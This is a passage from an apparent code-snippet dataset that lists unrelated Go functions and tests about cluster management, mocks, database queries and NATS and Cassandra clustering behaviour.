*uint64\n\t\t\t\tcomment *string\n\t\t\t\tsubcapacities *string\n\t\t\t\tscrapedAt util.Time\n\t\t\t)\n\t\t\terr := rows.Scan(&sharedClusterID, &serviceType, &resourceName, &rawCapacity, &comment, &subcapacities, &scrapedAt)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tfor _, cluster := range clusters {\n\t\t\t\tif !config.Clusters[cluster.ID].IsServiceShared[serviceType] {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\n\t\t\t\t_, _, resource := clusters.Find(config, cluster.ID, &serviceType, resourceName)\n\n\t\t\t\tif resource != nil {\n\t\t\t\t\tovercommitFactor := config.Clusters[cluster.ID].BehaviorForResource(serviceType, *resourceName).OvercommitFactor\n\t\t\t\t\tif overcommitFactor == 0 {\n\t\t\t\t\t\tresource.Capacity = rawCapacity\n\t\t\t\t\t} else {\n\t\t\t\t\t\tresource.RawCapacity = rawCapacity\n\t\t\t\t\t\tcapacity := uint64(float64(*rawCapacity) * overcommitFactor)\n\t\t\t\t\t\tresource.Capacity = &capacity\n\t\t\t\t\t}\n\t\t\t\t\tif comment != nil {\n\t\t\t\t\t\tresource.Comment = *comment\n\t\t\t\t\t}\n\t\t\t\t\tif subcapacities != nil && *subcapacities != \"\" {\n\t\t\t\t\t\tresource.Subcapacities = limes.JSONString(*subcapacities)\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tscrapedAtUnix := time.Time(scrapedAt).Unix()\n\t\t\t\tif cluster.MaxScrapedAt == nil || *cluster.MaxScrapedAt < scrapedAtUnix {\n\t\t\t\t\tcluster.MaxScrapedAt = &scrapedAtUnix\n\t\t\t\t}\n\t\t\t\tif cluster.MinScrapedAt == nil || *cluster.MinScrapedAt > scrapedAtUnix {\n\t\t\t\t\tcluster.MinScrapedAt = &scrapedAtUnix\n\t\t\t\t}\n\t\t\t}\n\n\t\t\treturn nil\n\t\t})\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t}\n\n\t//flatten result (with stable order to keep the tests happy)\n\tids := make([]string, 0, len(clusters))\n\tfor id := range clusters {\n\t\tids = append(ids, id)\n\t}\n\tsort.Strings(ids)\n\tresult := make([]*limes.ClusterReport, len(clusters))\n\tfor idx, id := range ids {\n\t\tresult[idx] = clusters[id]\n\t}\n\n\treturn result, nil\n}", "func (o *VirtualizationVmwareVirtualMachineAllOf) HasCluster() bool {\n\tif o != nil && o.Cluster != nil {\n\t\treturn true\n\t}\n\n\treturn false\n}", "func QueryNodes() QueryClusterParamsOption {\n\treturn func(cp *ClusterParams) string {\n\t\treturn fmt.Sprintf(\"Nodes = %d\", cp.Nodes)\n\t}\n}", "func testListClusterNodes(t *testing.T) {\n\tctx := context.Background()\n\n\t// Init BCE Client\n\tak := \"xxxxxxxx\"\n\tsk := \"xxxxxxxx\"\n\tregion := \"sz\"\n\tendpoint := \"cce.su.baidubce.com\"\n\n\tc := newClient(ak, sk, region, endpoint)\n\n\t// Test ListClusterNodes\n\tnodesResq, err := c.ListClusterNodes(ctx, \"xxxxxx\", nil)\n\tif err != nil {\n\t\tt.Errorf(\"ListClusterNodes failed: %v\", err)\n\t\treturn\n\t}\n\n\tstr, _ := json.Marshal(nodesResq)\n\tt.Errorf(\"ListClusterNodes failed: %v\", string(str))\n}", "func (t *SmartContract) query_all(stub shim.ChaincodeStubInterface, args []string) pb.Response {\n\n\tif len(args) != 0 {\n\t\treturn shim.Error(\"Incorrect number of arguments. Expecting 0\")\n\t}\n\n resultsIterator, err := stub.GetStateByRange(\"\",\"\")\n if err != nil {\n return shim.Error(err.Error())\n }\n defer resultsIterator.Close()\n\n // buffer is a JSON array containing QueryResults\n var buffer bytes.Buffer\n buffer.WriteString(\"\\n[\")\n\n\tbArrayMemberAlreadyWritten := false\n for resultsIterator.HasNext() {\n queryResponse, err := resultsIterator.Next()\n if err != nil {\n return shim.Error(err.Error())\n }\n // Add a comma before array members, suppress it for the first array member\n if bArrayMemberAlreadyWritten == true {\n buffer.WriteString(\",\")\n }\n buffer.WriteString(\"{\\\"Key\\\":\")\n buffer.WriteString(\"\\\"\")\n buffer.WriteString(queryResponse.Key)\n buffer.WriteString(\"\\\"\")\n\n buffer.WriteString(\", \\\"Record\\\":\")\n // Record is a JSON object, so we write as-is\n buffer.WriteString(string(queryResponse.Value))\n buffer.WriteString(\"}\")\n bArrayMemberAlreadyWritten = true\n }\n buffer.WriteString(\"]\\n\")\n return shim.Success(buffer.Bytes())\n}", "func ShouldEventuallySeeClusterMetrics(t *testing.T, promPod corev1.Pod, cohPods []corev1.Pod) {\n\tg := NewGomegaWithT(t)\n\n\terr := wait.Poll(time.Second*5, time.Minute*5, func() (done bool, err error) {\n\t\tresult := PrometheusVector{}\n\t\terr = PrometheusQuery(promPod, \"up\", &result)\n\t\tif err != nil {\n\t\t\treturn false, err\n\t\t}\n\n\t\tm := make(map[string]bool)\n\t\tfor _, pod := range cohPods {\n\t\t\tm[pod.Name] = false\n\t\t}\n\n\t\tfor _, v := range result.Result {\n\t\t\tif v.Labels[\"job\"] == \"coherence-service-metrics\" {\n\t\t\t\tname := v.Labels[\"pod\"]\n\t\t\t\tm[name] = true\n\t\t\t}\n\t\t}\n\n\t\tfor _, pod := range cohPods {\n\t\t\tif m[pod.Name] == false {\n\t\t\t\treturn false, nil\n\t\t\t}\n\t\t}\n\t\treturn true, nil\n\t})\n\n\tg.Expect(err).NotTo(HaveOccurred())\n}", "func TestCassandraCluster(t *testing.T) {\n\tcassandracluster := &api.CassandraCluster{\n\t\tTypeMeta: metav1.TypeMeta{\n\t\t\tKind: \"CassandraCluster\",\n\t\t\tAPIVersion: \"db.orange.com/v1alpha1\",\n\t\t},\n\t}\n\n\terr := framework.AddToFrameworkScheme(apis.AddToScheme, cassandracluster)\n\tif err != nil {\n\t\tt.Fatalf(\"failed to add custom resource scheme to framework: %v\", err)\n\t}\n\n\tlogrus.SetFormatter(&logrus.TextFormatter{\n\t\tFullTimestamp: true,\n\t})\n\tlogrus.SetReportCaller(true)\n\tlogrus.SetOutput(os.Stdout)\n\tlogrus.SetLevel(logrus.DebugLevel)\n\n\t// run subtests\n\tt.Run(\"group\", func(t *testing.T) {\n\t\tt.Run(\"ClusterScaleUp\", CassandraClusterTest(cassandraClusterScaleUpDC1Test))\n\t\tt.Run(\"ClusterScaleDown\", CassandraClusterTest(cassandraClusterScaleDown2RacksFrom3NodesTo1Node))\n\t\tt.Run(\"ClusterScaleDownSimple\", CassandraClusterTest(cassandraClusterScaleDownDC2Test))\n\t\tt.Run(\"RollingRestart\", CassandraClusterTest(cassandraClusterRollingRestartDCTest))\n\t\tt.Run(\"CreateOneClusterService\", CassandraClusterTest(cassandraClusterServiceTest))\n\t\tt.Run(\"UpdateConfigMap\", CassandraClusterTest(cassandraClusterUpdateConfigMapTest))\n\t\tt.Run(\"ExecuteCleanup\", CassandraClusterTest(cassandraClusterCleanupTest))\n\t})\n\n}", "func (mr *MockClusterAdminMockRecorder) DescribeCluster() *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"DescribeCluster\", reflect.TypeOf((*MockClusterAdmin)(nil).DescribeCluster))\n}", "func AnyCluster(g InstanceGroup) bool {\n\t_, specific := g.Cluster()\n\treturn !specific\n}", "func (t *Trie) QueryAll() (keywords []string) {\n\tt.mu.RLock()\n\tkeywords = t.deepRead(t.root, keywords, \"\")\n\tt.mu.RUnlock()\n\treturn\n}", "func TestClusteringBasic(t *testing.T) {\n\tcleanupDatastore(t)\n\tdefer cleanupDatastore(t)\n\tcleanupRaftLog(t)\n\tdefer cleanupRaftLog(t)\n\n\t// For this test, use a central NATS server.\n\tns := natsdTest.RunDefaultServer()\n\tdefer ns.Shutdown()\n\n\t// Configure first server\n\ts1sOpts := getTestDefaultOptsForClustering(\"a\", true)\n\ts1 := runServerWithOpts(t, s1sOpts, nil)\n\tdefer s1.Shutdown()\n\n\t// Configure second server.\n\ts2sOpts := getTestDefaultOptsForClustering(\"b\", false)\n\ts2 := runServerWithOpts(t, s2sOpts, nil)\n\tdefer s2.Shutdown()\n\n\t// Configure third server.\n\ts3sOpts := getTestDefaultOptsForClustering(\"c\", false)\n\ts3 := runServerWithOpts(t, s3sOpts, nil)\n\tdefer s3.Shutdown()\n\n\tservers := []*StanServer{s1, s2, s3}\n\tfor _, s := range servers {\n\t\tcheckState(t, s, Clustered)\n\t}\n\n\t// Wait for leader to be elected.\n\tgetLeader(t, 10*time.Second, servers...)\n\n\t// Create a client connection.\n\tsc, err := stan.Connect(clusterName, clientName)\n\tif err != nil {\n\t\tt.Fatalf(\"Expected to connect correctly, got err %v\", err)\n\t}\n\tdefer sc.Close()\n\n\t// Publish a message (this will create the channel and form the Raft group).\n\tchannel := \"foo\"\n\tif err := sc.Publish(channel, []byte(\"hello\")); err != nil {\n\t\tt.Fatalf(\"Unexpected error on publish: %v\", err)\n\t}\n\n\tch := make(chan *stan.Msg, 100)\n\tsub, err := sc.Subscribe(channel, func(msg *stan.Msg) {\n\t\tch <- msg\n\t}, stan.DeliverAllAvailable(), stan.MaxInflight(1))\n\tif err != nil {\n\t\tt.Fatalf(\"Error subscribing: %v\", err)\n\t}\n\n\tselect {\n\tcase msg := <-ch:\n\t\tassertMsg(t, msg.MsgProto, []byte(\"hello\"), 1)\n\tcase <-time.After(2 * time.Second):\n\t\tt.Fatal(\"expected msg\")\n\t}\n\n\tsub.Unsubscribe()\n\n\tstopped := []*StanServer{}\n\n\t// Take down the leader.\n\tleader := getLeader(t, 10*time.Second, servers...)\n\tleader.Shutdown()\n\tstopped = append(stopped, leader)\n\tservers = removeServer(servers, leader)\n\n\t// Wait for the new leader to be elected.\n\tleader = getLeader(t, 10*time.Second, servers...)\n\n\t// Publish some more messages.\n\tfor i := 0; i < 5; i++ {\n\t\tif err := sc.Publish(channel, []byte(strconv.Itoa(i))); err != nil {\n\t\t\tt.Fatalf(\"Unexpected error on publish %d: %v\", i, err)\n\t\t}\n\t}\n\n\t// Read everything back from the channel.\n\tsub, err = sc.Subscribe(channel, func(msg *stan.Msg) {\n\t\tch <- msg\n\t}, stan.DeliverAllAvailable(), stan.MaxInflight(1))\n\tif err != nil {\n\t\tt.Fatalf(\"Error subscribing: %v\", err)\n\t}\n\tselect {\n\tcase msg := <-ch:\n\t\tassertMsg(t, msg.MsgProto, []byte(\"hello\"), 1)\n\tcase <-time.After(2 * time.Second):\n\t\tt.Fatal(\"expected msg\")\n\t}\n\tfor i := 0; i < 5; i++ {\n\t\tselect {\n\t\tcase msg := <-ch:\n\t\t\tassertMsg(t, msg.MsgProto, []byte(strconv.Itoa(i)), uint64(i+2))\n\t\tcase <-time.After(2 * time.Second):\n\t\t\tt.Fatal(\"expected msg\")\n\t\t}\n\t}\n\n\tsub.Unsubscribe()\n\n\t// Take down the leader.\n\tleader.Shutdown()\n\tstopped = append(stopped, leader)\n\tservers = removeServer(servers, leader)\n\n\t// Creating a new connection should fail since there should not be a leader.\n\t_, err = stan.Connect(clusterName, clientName+\"-2\", stan.PubAckWait(time.Second), stan.ConnectWait(time.Second))\n\tif err == nil {\n\t\tt.Fatal(\"Expected error on connect\")\n\t}\n\n\t// Bring one node back up.\n\ts := stopped[0]\n\tstopped = stopped[1:]\n\ts = runServerWithOpts(t, s.opts, nil)\n\tservers = append(servers, s)\n\tdefer s.Shutdown()\n\n\t// Wait for the new leader to be elected.\n\tgetLeader(t, 10*time.Second, servers...)\n\n\t// Publish some more messages.\n\tfor i := 0; i < 5; i++ {\n\t\tif err := sc.Publish(channel, []byte(\"foo-\"+strconv.Itoa(i))); err != nil {\n\t\t\tt.Fatalf(\"Unexpected error on publish %d: %v\", i, err)\n\t\t}\n\t}\n\n\t// Bring the last node back up.\n\ts = stopped[0]\n\ts = runServerWithOpts(t, s.opts, nil)\n\tservers = append(servers, s)\n\tdefer s.Shutdown()\n\n\t// Ensure there is still a leader.\n\tleader = getLeader(t, 10*time.Second, servers...)\n\n\t// Publish one more message.\n\tif err := sc.Publish(channel, []byte(\"goodbye\")); err != nil {\n\t\tt.Fatalf(\"Unexpected error on publish: %v\", err)\n\t}\n\n\t// Verify the server stores are consistent.\n\texpected := make(map[uint64]msg, 12)\n\texpected[1] = msg{sequence: 1, data: []byte(\"hello\")}\n\tfor i := uint64(0); i < 5; i++ {\n\t\texpected[i+2] = msg{sequence: uint64(i + 2), data: []byte(strconv.Itoa(int(i)))}\n\t}\n\tfor i := uint64(0); i < 5; i++ {\n\t\texpected[i+7] = msg{sequence: uint64(i + 7), data: []byte(\"foo-\" + strconv.Itoa(int(i)))}\n\t}\n\texpected[12] = msg{sequence: 12, data: []byte(\"goodbye\")}\n\tverifyChannelConsistency(t, channel, 10*time.Second, 1, 12, expected, servers...)\n\n\tsc.Close()\n\t// Speed-up shutdown\n\tleader.Shutdown()\n\ts1.Shutdown()\n\ts2.Shutdown()\n\ts3.Shutdown()\n}", "func (c *Client) DeleteAllCluster(ctx context.Context, project, location string, filter func(*Cluster) bool) error {\n\tlistObj, err := c.ListCluster(ctx, project, location)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\terr = c.deleteAllCluster(ctx, filter, listObj.Items)\n\tif err != nil {\n\t\treturn err\n\t}\n\tfor listObj.HasNext() {\n\t\terr = listObj.Next(ctx, c)\n\t\tif err != nil {\n\t\t\treturn nil\n\t\t}\n\t\terr = c.deleteAllCluster(ctx, filter, listObj.Items)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}", "func (mr *MockEKSServiceInterfaceMockRecorder) DescribeCluster(input interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"DescribeCluster\", reflect.TypeOf((*MockEKSServiceInterface)(nil).DescribeCluster), input)\n}", "func (mock *Serf) ClusterCalled() bool {\n\tlockSerfCluster.RLock()\n\tdefer lockSerfCluster.RUnlock()\n\treturn len(mock.calls.Cluster) > 0\n}", "func (mr *MockecsClientMockRecorder) DefaultCluster() *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"DefaultCluster\", reflect.TypeOf((*MockecsClient)(nil).DefaultCluster))\n}", "func (o *NiatelemetryNexusDashboardsAllOf) HasClusterUuid() bool {\n\tif o != nil && o.ClusterUuid != nil {\n\t\treturn true\n\t}\n\n\treturn false\n}", "func (mr *MockRDSAPIMockRecorder) DescribeDBClusterParameters(arg0 interface{}) *gomock.Call {\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"DescribeDBClusterParameters\", reflect.TypeOf((*MockRDSAPI)(nil).DescribeDBClusterParameters), arg0)\n}", "func (q *Query) All(result interface{}) (err error) {\n\tfor i := 0; i < q.db.MaxConnectRetries; i++ {\n\t\terr = q.q.All(result)\n\t\tif err == nil {\n\t\t\treturn\n\t\t}\n\t\tif !isNetworkError(err) {\n\t\t\tcontinue\n\t\t}\n\t\tq.db.refresh()\n\t}\n\treturn err\n}", "func clusterList() []string {\n\tif c := envy.String(\"DQLITED_CLUSTER\"); c != \"\" {\n\t\treturn strings.Split(c, \",\")\n\t}\n\treturn defaultCluster\n}", "func (o *NiatelemetryNexusDashboardsAllOf) HasIsClusterHealthy() bool {\n\tif o != nil && o.IsClusterHealthy != nil {\n\t\treturn true\n\t}\n\n\treturn false\n}", "func (c *ZkCluster) ConnectAll() (*enhanced.Client, error) {\n\tvar servers = strings.Split(c.ConnectionString(), \",\")\n\treturn enhanced.Connect(servers, time.Second)\n}", "func (m *RedisProxy_PrefixRoutes) GetCatchAllCluster() string {\n\tif m != nil {\n\t\treturn m.CatchAllCluster\n\t}\n\treturn \"\"\n}", "func TestSyncClusterDeletedMachineSets(t *testing.T) {\n\tcases := []struct {\n\t\tname string\n\t\tmasterDeleted bool\n\t\tclusterComputes []string\n\t\trealizedComputes []string\n\t}{\n\t\t{\n\t\t\tname: \"master\",\n\t\t\tmasterDeleted: true,\n\t\t},\n\t\t{\n\t\t\tname: \"single compute\",\n\t\t\tclusterComputes: []string{\"compute1\"},\n\t\t},\n\t\t{\n\t\t\tname: \"multiple computes\",\n\t\t\tclusterComputes: []string{\"compute1\", \"compute2\"},\n\t\t},\n\t\t{\n\t\t\tname: \"master and computes\",\n\t\t\tmasterDeleted: true,\n\t\t\tclusterComputes: []string{\"compute1\", \"compute2\"},\n\t\t},\n\t\t{\n\t\t\tname: \"subset of computes\",\n\t\t\tclusterComputes: []string{\"compute1\", \"compute2\", \"compute3\"},\n\t\t\trealizedComputes: []string{\"compute1\", \"compute2\"},\n\t\t},\n\t}\n\tfor _, tc := range cases {\n\t\tt.Run(tc.name, func(t *testing.T) {\n\t\t\tcontroller, clusterStore, machineSetStore, _, clusterOperatorClient := newTestClusterController()\n\n\t\t\tcluster := newCluster(tc.clusterComputes...)\n\t\t\tcluster.Status.MachineSetCount = len(tc.clusterComputes) + 1\n\t\t\tclusterStore.Add(cluster)\n\t\t\tnewMachineSets(machineSetStore, cluster, !tc.masterDeleted, tc.realizedComputes...)\n\n\t\t\tcontroller.syncCluster(getKey(cluster, t))\n\n\t\t\texpectedActions := []expectedClientAction{}\n\t\t\tif tc.masterDeleted {\n\t\t\t\texpectedActions = append(expectedActions, newExpectedMachineSetCreateAction(cluster, \"master\"))\n\t\t\t}\n\t\t\tfor _, clusterCompute := range tc.clusterComputes {\n\t\t\t\trealized := false\n\t\t\t\tfor _, realizedCompute := range tc.realizedComputes {\n\t\t\t\t\tif clusterCompute == realizedCompute {\n\t\t\t\t\t\trealized = true\n\t\t\t\t\t\tbreak\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif !realized {\n\t\t\t\t\texpectedActions = append(expectedActions, newExpectedMachineSetCreateAction(cluster, clusterCompute))\n\t\t\t\t}\n\t\t\t}\n\t\t\tstatusMasterMachineSets := 1\n\t\t\tif tc.masterDeleted {\n\t\t\t\tstatusMasterMachineSets = 0\n\t\t\t}\n\t\t\texpectedActions = append(expectedActions, expectedClusterStatusUpdateAction{\n\t\t\t\tmachineSets: len(tc.realizedComputes) + statusMasterMachineSets,\n\t\t\t})\n\n\t\t\tvalidateClientActions(t, \"TestSyncClusterDeletedMachineSets.\"+tc.name, clusterOperatorClient, expectedActions...)\n\n\t\t\tvalidateControllerExpectations(t, \"TestSyncClusterDeletedMachineSets.\"+tc.name, controller, cluster, len(expectedActions)-1, 0)\n\t\t})\n\t}\n}", "func (c ClusterNodes) checkStatusOfClusterNodes() {\n\n}", "func (connection *Connection) IsCluster() bool {\n\tif connection == nil || connection.adabasToData == nil {\n\t\treturn false\n\t}\n\tif connection.adabasToData.transactions == nil {\n\t\treturn false\n\t}\n\treturn len(connection.adabasToData.transactions.clusterNodes) > 0\n}", "func (o *NiatelemetryNexusDashboardsAllOf) GetClusterNameOk() (*string, bool) {\n\tif o == nil || o.ClusterName == nil {\n\t\treturn nil, false\n\t}\n\treturn o.ClusterName, true\n}", "func TestCheckNonAllowedChangesScaleDown(t *testing.T) {\n\tassert := assert.New(t)\n\n\trcc, cc := HelperInitCluster(t, \"cassandracluster-3DC.yaml\")\n\tstatus := cc.Status.DeepCopy()\n\trcc.updateCassandraStatus(cc, status)\n\n\t//Create the Pods wanted by the statefulset dc2-rack1 (1 node)\n\tpod := &v1.Pod{\n\t\tTypeMeta: metav1.TypeMeta{\n\t\t\tKind: \"Pod\",\n\t\t\tAPIVersion: \"v1\",\n\t\t},\n\t\tObjectMeta: metav1.ObjectMeta{\n\t\t\tName: \"cassandra-demo-dc2-rack1-0\",\n\t\t\tNamespace: \"ns\",\n\t\t\tLabels: map[string]string{\n\t\t\t\t\"app\": \"cassandracluster\",\n\t\t\t\t\"cassandracluster\": \"cassandra-demo\",\n\t\t\t\t\"cassandraclusters.db.orange.com.dc\": \"dc2\",\n\t\t\t\t\"cassandraclusters.db.orange.com.rack\": \"rack1\",\n\t\t\t\t\"cluster\": \"k8s.pic\",\n\t\t\t\t\"dc-rack\": \"dc2-rack1\",\n\t\t\t},\n\t\t},\n\t}\n\tpod.Status.Phase = v1.PodRunning\n\tpod.Spec.Hostname = \"cassandra-demo2-dc2-rack1-0\"\n\tpod.Spec.Subdomain = \"cassandra-demo2-dc2-rack1\"\n\thostName := k8s.PodHostname(*pod)\n\trcc.CreatePod(pod)\n\n\t//Mock Jolokia Call to NonLocalKeyspacesInDC\n\thttpmock.Activate()\n\tdefer httpmock.DeactivateAndReset()\n\tkeyspacesDescribed := []string{}\n\n\thttpmock.RegisterResponder(\"POST\", JolokiaURL(hostName, jolokiaPort),\n\t\tfunc(req *http.Request) (*http.Response, error) {\n\t\t\tvar execrequestdata execRequestData\n\t\t\tif err := json.NewDecoder(req.Body).Decode(&execrequestdata); err != nil {\n\t\t\t\tt.Error(\"Can't decode request received\")\n\t\t\t}\n\t\t\tif execrequestdata.Attribute == \"Keyspaces\" {\n\t\t\t\treturn httpmock.NewStringResponse(200, keyspaceListString()), nil\n\t\t\t}\n\t\t\tkeyspace, ok := execrequestdata.Arguments[0].(string)\n\n\t\t\tif !ok {\n\t\t\t\tt.Error(\"Keyspace can't be nil\")\n\t\t\t}\n\n\t\t\tkeyspacesDescribed = append(keyspacesDescribed, keyspace)\n\n\t\t\tresponse := `{\"request\": {\"mbean\": \"org.apache.cassandra.db:type=StorageService\",\n\t\t\t\t\t\t \"arguments\": [\"%s\"],\n\t\t\t\t\t\t \"type\": \"exec\",\n\t\t\t\t\t\t \"operation\": \"describeRingJMX\"},\n\t\t\t\t \"timestamp\": 1541908753,\n\t\t\t\t \"status\": 200,`\n\n\t\t\t// For keyspace demo1 and demo2 we return token ranges with some of them assigned to nodes on dc2\n\t\t\tif keyspace[:4] == \"demo\" {\n\t\t\t\tresponse += `\"value\":\n\t\t\t\t\t [\"TokenRange(start_token:4572538884437204647, end_token:4764428918503636065, endpoints:[10.244.3.8], rpc_endpoints:[10.244.3.8], endpoint_details:[EndpointDetails(host:10.244.3.8, datacenter:dc1, rack:rack1)])\",\n\t\t\t\t\t\t\"TokenRange(start_token:-8547872176065322335, end_token:-8182289314504856691, endpoints:[10.244.2.5], rpc_endpoints:[10.244.2.5], endpoint_details:[EndpointDetails(host:10.244.2.5, datacenter:dc1, rack:rack1)])\",\n\t\t\t\t\t\t\"TokenRange(start_token:-2246208089217404881, end_token:-2021878843377619999, endpoints:[10.244.2.5], rpc_endpoints:[10.244.2.5], endpoint_details:[EndpointDetails(host:10.244.2.5, datacenter:dc2, rack:rack1)])\",\n\t\t\t\t\t\t\"TokenRange(start_token:-1308323778199165410, end_token:-1269907200339273513, endpoints:[10.244.2.6], rpc_endpoints:[10.244.2.6], endpoint_details:[EndpointDetails(host:10.244.2.6, datacenter:dc1, rack:rack1)])\",\n\t\t\t\t\t\t\"TokenRange(start_token:8544184416734424972, end_token:8568577617447026631, endpoints:[10.244.2.6], rpc_endpoints:[10.244.2.6], endpoint_details:[EndpointDetails(host:10.244.2.6, datacenter:dc2, rack:rack1)])\",\n\t\t\t\t\t\t\"TokenRange(start_token:2799723085723957315, end_token:3289697029162626204, endpoints:[10.244.3.7], rpc_endpoints:[10.244.3.7], endpoint_details:[EndpointDetails(host:10.244.3.7, datacenter:dc1, rack:rack1)])\"]}`\n\t\t\t\treturn httpmock.NewStringResponse(200, fmt.Sprintf(response, keyspace)), nil\n\t\t\t}\n\t\t\treturn httpmock.NewStringResponse(200, fmt.Sprintf(response+`\"value\": []}`, keyspace)), nil\n\t\t},\n\t)\n\n\t// ask scale down to 0\n\tvar nb int32\n\tcc.Spec.Topology.DC[1].NodesPerRacks = &nb\n\n\tres := rcc.CheckNonAllowedChanges(cc, status)\n\trcc.updateCassandraStatus(cc, status)\n\t//Change not allowed because DC still has nodes\n\tassert.Equal(true, res)\n\n\t//We have restore nodesperrack\n\tassert.Equal(int32(1), *cc.Spec.Topology.DC[1].NodesPerRacks)\n\n\t//Changes replicated keyspaces (remove demo1 and demo2 which still have replicated datas\n\t//allKeyspaces is a global test variable\n\tallKeyspaces = []string{\"system\", \"system_auth\", \"system_schema\", \"something\", \"else\"}\n\tcc.Spec.Topology.DC[1].NodesPerRacks = &nb\n\n\tres = rcc.CheckNonAllowedChanges(cc, status)\n\n\t//Change allowed because there is no more keyspace with replicated datas\n\tassert.Equal(false, res)\n\n\t//Nodes Per Rack is still 0\n\tassert.Equal(int32(0), *cc.Spec.Topology.DC[1].NodesPerRacks)\n}", "func QueryAll(ptp protocol.PointToPoint, tempFields ...interface{}) (ts []container.Tuple, b bool) {\n\tts, b = getAllAndQueryAll(ptp, protocol.QueryAllRequest, tempFields...)\n\treturn ts, b\n}", "func TestSuccessfulEmptyQuery(t *testing.T) {\n\tlocations, err := metaweather.QueryLocations(\"thisissomestrangelocationwhichdoesnotexist\")\n\tif err != nil {\n\t\tt.Fatalf(\"query returned error: %v\", err)\n\t}\n\tif len(locations) != 0 {\n\t\tt.Fatalf(\"number of query results is %d\", len(locations))\n\t}\n}", "func performClusterHealthCheck(c client.Client, metricsClient metrics.Metrics, cvClient cv.ClusterVersion, cfg *osdUpgradeConfig, logger logr.Logger) (bool, error) {\n\tic := cfg.HealthCheck.IgnoredCriticals\n\ticQuery := \"\"\n\tif len(ic) > 0 {\n\t\ticQuery = `,alertname!=\"` + strings.Join(ic, `\",alertname!=\"`) + `\"`\n\t}\n\thealthCheckQuery := `ALERTS{alertstate=\"firing\",severity=\"critical\",namespace=~\"^openshift.*|^kube.*|^default$\",namespace!=\"openshift-customer-monitoring\",namespace!=\"openshift-logging\"` + icQuery + \"}\"\n\talerts, err := metricsClient.Query(healthCheckQuery)\n\tif err != nil {\n\t\treturn false, fmt.Errorf(\"Unable to query critical alerts: %s\", err)\n\t}\n\n\tif len(alerts.Data.Result) > 0 {\n\t\tlogger.Info(\"There are critical alerts exists, cannot upgrade now\")\n\t\treturn false, fmt.Errorf(\"There are %d critical alerts\", len(alerts.Data.Result))\n\t}\n\n\tresult, err := cvClient.HasDegradedOperators()\n\tif err != nil {\n\t\treturn false, err\n\t}\n\tif len(result.Degraded) > 0 {\n\t\tlogger.Info(fmt.Sprintf(\"degraded operators :%s\", strings.Join(result.Degraded, \",\")))\n\t\t// Send the metrics for the cluster check failed if we have degraded operators\n\t\treturn false, fmt.Errorf(\"degraded operators :%s\", strings.Join(result.Degraded, \",\"))\n\t}\n\n\treturn true, nil\n}", "func TestClusteringNoSeed(t *testing.T) {\n\tcleanupDatastore(t)\n\tdefer cleanupDatastore(t)\n\tcleanupRaftLog(t)\n\tdefer cleanupRaftLog(t)\n\n\t// For this test, use a central NATS server.\n\tns := natsdTest.RunDefaultServer()\n\tdefer ns.Shutdown()\n\n\t// Configure first server. Starting this should fail because there is no\n\t// seed node.\n\ts1sOpts := getTestDefaultOptsForClustering(\"a\", false)\n\tif _, err := RunServerWithOpts(s1sOpts, nil); err == nil {\n\t\tt.Fatal(\"Expected error on server start\")\n\t}\n}", "func (c *Controller) findAllClusters() (map[string]spec.Cluster, error) {\n\tservices, err := c.config.Client.ListEtcdServices(\"\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tclusters := make(map[string]spec.Cluster)\n\tfor _, s := range services {\n\t\tclient := c.config.Client.Env(s.AccountId)\n\n\t\t// we need to update each service proactively to work around\n\t\t// bugs/limitation of rancher ui service creation\n\t\tif s.Scale > 0 {\n\t\t\ts2 := s\n\t\t\ts2.SelectorContainer = fmt.Sprintf(\"app=etcd,cluster=%s\", s.Id)\n\t\t\ts2.Scale = 0\n\t\t\ts2.StartOnCreate = false\n\t\t\t// we have to adjust the context here from global -> environment to make changes\n\t\t\tranchutil.SetResourceContext(&s.Resource, s.AccountId)\n\t\t\tif _, err := client.Service.Update(&s, &s2); err != nil {\n\t\t\t\tlog.Warnf(\"couldn't update service: %s\", err)\n\t\t\t}\n\t\t}\n\n\t\t// we also need to fetch the stack this service belongs to so we can name\n\t\t// containers appropriately...\n\t\tstackName := \"unknown\"\n\t\tif st, err := client.Stack.ById(s.StackId); err == nil {\n\t\t\tstackName = st.Name\n\t\t}\n\n\t\tcluster := ranchutil.ClusterFromService(s, stackName)\n\t\tclusters[cluster.Metadata.Name] = cluster\n\t}\n\treturn clusters, nil\n}", "func TestSimpleCluster(t *testing.T) {\n\tc := client.MustNewClient()\n\tkubecli := mustNewKubeClient(t)\n\tns := getNamespace(t)\n\n\t// Prepare deployment config\n\tdepl := newDeployment(\"test-cls-\" + uniuri.NewLen(4))\n\tdepl.Spec.Mode = api.NewMode(api.DeploymentModeCluster)\n\n\t// Create deployment\n\t_, err := c.DatabaseV1().ArangoDeployments(ns).Create(depl)\n\tif err != nil {\n\t\tt.Fatalf(\"Create deployment failed: %v\", err)\n\t}\n\t// Prepare cleanup\n\tdefer removeDeployment(c, depl.GetName(), ns)\n\n\t// Wait for deployment to be ready\n\tapiObject, err := waitUntilDeployment(c, depl.GetName(), ns, deploymentIsReady())\n\tif err != nil {\n\t\tt.Fatalf(\"Deployment not running in time: %v\", err)\n\t}\n\n\t// Create a database client\n\tctx := context.Background()\n\tclient := mustNewArangodDatabaseClient(ctx, kubecli, apiObject, t, nil)\n\n\t// Wait for cluster to be available\n\tif err := waitUntilVersionUp(client, nil); err != nil {\n\t\tt.Fatalf(\"Cluster not running returning version in time: %v\", err)\n\t}\n\n\t// Check server role\n\tassert.NoError(t, testServerRole(ctx, client, driver.ServerRoleCoordinator))\n}", "func TestLargeClusterEmpty(t *testing.T) {\n\tif testing.Short() {\n\t\tt.Skip(\"skipping cluster test in short mode.\")\n\t}\n\tt.Parallel()\n\n\ttc := 